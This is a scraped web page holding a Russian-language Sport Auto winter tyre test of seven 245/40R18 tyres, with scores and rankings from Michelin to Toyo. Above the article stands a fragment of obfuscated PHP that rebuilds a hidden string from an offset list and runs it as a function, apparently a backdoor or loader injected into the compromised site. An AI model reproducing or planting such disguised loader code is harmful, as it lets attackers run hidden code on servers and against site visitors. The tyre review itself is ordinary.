aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

Sport Auto: Тест зимних шин в размере 245/40R18 (PStz3-3/13)

Sport Auto ziemas riepu tests 245/40R18 (2013)Полный привод и Audi TT RS Plus с 360 л.с. в помощь семи тестируемым зимним шинам в размере 245/40 R18 V. Как протекает борьба семи высококачественных шин на снегу, мокром и сухом асфальте? Какая из шин будет первой?

В тестах зимних шин самое весомое слово принадлежит качеству торможения и управляемости.

С точки зрения тягового усилия, полный привод мощного Audi TT в спринте с 20 до 50 км/ч маскирует все возможные слабости шин. Поэтому расхождения между различными зимними шинами в тестах на разгон совсем небольшие. Но все же признаки слабых и сильных сторон уже становятся четко заметными.

Sport Auto ziemas riepu tests 245/40R18 (2013) Sport Auto ziemas riepu tests 245/40R18 (2013) Sport Auto ziemas riepu tests 245/40R18 (2013) Sport Auto ziemas riepu tests 245/40R18 (2013)
Sport Auto ziemas riepu tests 245/40R18 (2013) Sport Auto ziemas riepu tests 245/40R18 (2013) Sport Auto ziemas riepu tests 245/40R18 (2013) Sport Auto ziemas riepu tests 245/40R18 (2013)

Pirelli Sottozero III обеспечивают превосходное сцепление на поворотах.

Для примера, совершенно новые шины Pirelli Sottozero III не являются абсолютным лидером в тестах на разгон и торможение на заснеженном дорожном покрытии. Но в тестах на управляемость эти 18-дюймовые шины в размере 245/40 показывают превосходный уровень сцепления на поворотах, во всяком случае, для передней оси. При смене центра тяжести задняя часть автомобиля становится более подвижной, и автоводители с соответствующими навыками вождения могут использовать эту особенность, делая автомобиль более спортивным, что доказывает существенно лучшее время прохождения круга при проверке зимних шин на 1150-метровой дистанции трассы теста на управляемость.

В мокрую погоду зимние шины Pirelli и Michelin превосходны.

В тестах на мокром дорожном покрытии шины Pirelli и Michelin заняли самые верхние строчки рейтинга. Все время держась рядом друг с другом с минимальным отрывом, Michelin смог склонить в свою пользу лишь благодаря своей исключительно высокой точности при вождении. На несколько пунктов от них отстают Continental, Dunlop и Goodyear – все три шины также превосходно годятся для мокрых погодных условий. Отличия заключаются лишь в некоторых нюансах управляемости и стиля вождения. Итак, семь зимних шин в размере 245/40 R18 приближаются к финишной прямой. После сложных тестов на снегу и на мокрой дороге остается лишь менее важная программа тестов на сухом покрытии.

Avots: Sport Auto

1. Michelin Pilot Alpin PA4 254 балла: Очень рекомендованы
Michelin Pilot Alpin PA4

Победитель тестов – шины Michelin Pilot Alpin PA4 – показывают очень высокие результаты тяги и торможения на снегу, обеспечивают точный и безопасный стиль вождения и хорошие свойства на мокром покрытии, но теряют баллы за результаты в тестах на аквапланирование.

 

2. Continental Conti Winter Contact TS 830 P 247 баллов: Очень рекомендованы
Continental Conti Winter Contact TS 830 P

Шины Continental Conti Winter Contact TS 830 P демонстрируют сбалансированный стиль вождения во всех дисциплинах. Хорошие показатели торможения, хорошая стабильность и точность в сухую погоду.

 

 3. Pirelli Winter Sottozero III 246 баллов: Очень рекомендованы
Pirelli Winter Sottozero III

Шины Pirelli Sottozero III в размере 245/40 R18 V показывают превосходные результаты в мокрую и сухую погоду, сбалансированный стиль вождения и стабильность на высоких скоростях, но теряют несколько пунктов за уровень тяги на снегу.

 

4. Dunlop SP Winter Sport 4D 246 баллов: Очень рекомендованы
Dunlop SP Winter Sport 4D

Зимние шины Dunlop SP Winter Sport 4D обладают превосходным уровнем сцепления и гармоничным стилем езды на снегу, хорошими показателями торможения в сухую погоду и средним уровнем реагирования в тестах на аквапланирование.

5. Goodyear Ultragrip 8 Performance 232 балла: Рекомендованы
Goodyear Ultragrip 8 Performance
Шины Goodyear Ultragrip 8 Performance обеспечивают безопасный стиль вождения со склонностью к центробежности, хороший уровень тяги на снегу, но обладают лишь средними показателями при торможении.

 

6. Falken HS 449 Eurowinter 223 балла: Условно рекомендованы
Falken HS 449 Eurowinter

Шины Falken HS 449 Eurowinter показывают превосходную эффективность в тестах на аквапланирование, точную управляемость в мокрую погоду и хороший динамический стиль на сухом покрытии, но очень сильно реагируют на смену центра тяжести и обладают лишь средними показателями при торможении в мокрую погоду и на снегу.

 

7. Toyo SnowProx S 953 216 баллов: Условно рекомендованы
Toyo SnowProx S 953

Шины Toyo SnowProx S 953 в размере 245/40 R18 V показывают очень хорошие результаты в тестах на аквапланирование, хорошую тягу на снегу, но плохие результаты при торможении, в особенности, на мокром дорожном покрытии, а также нестабильный стиль езды в мокрую погоду.

 

 


http://www.pkp.lv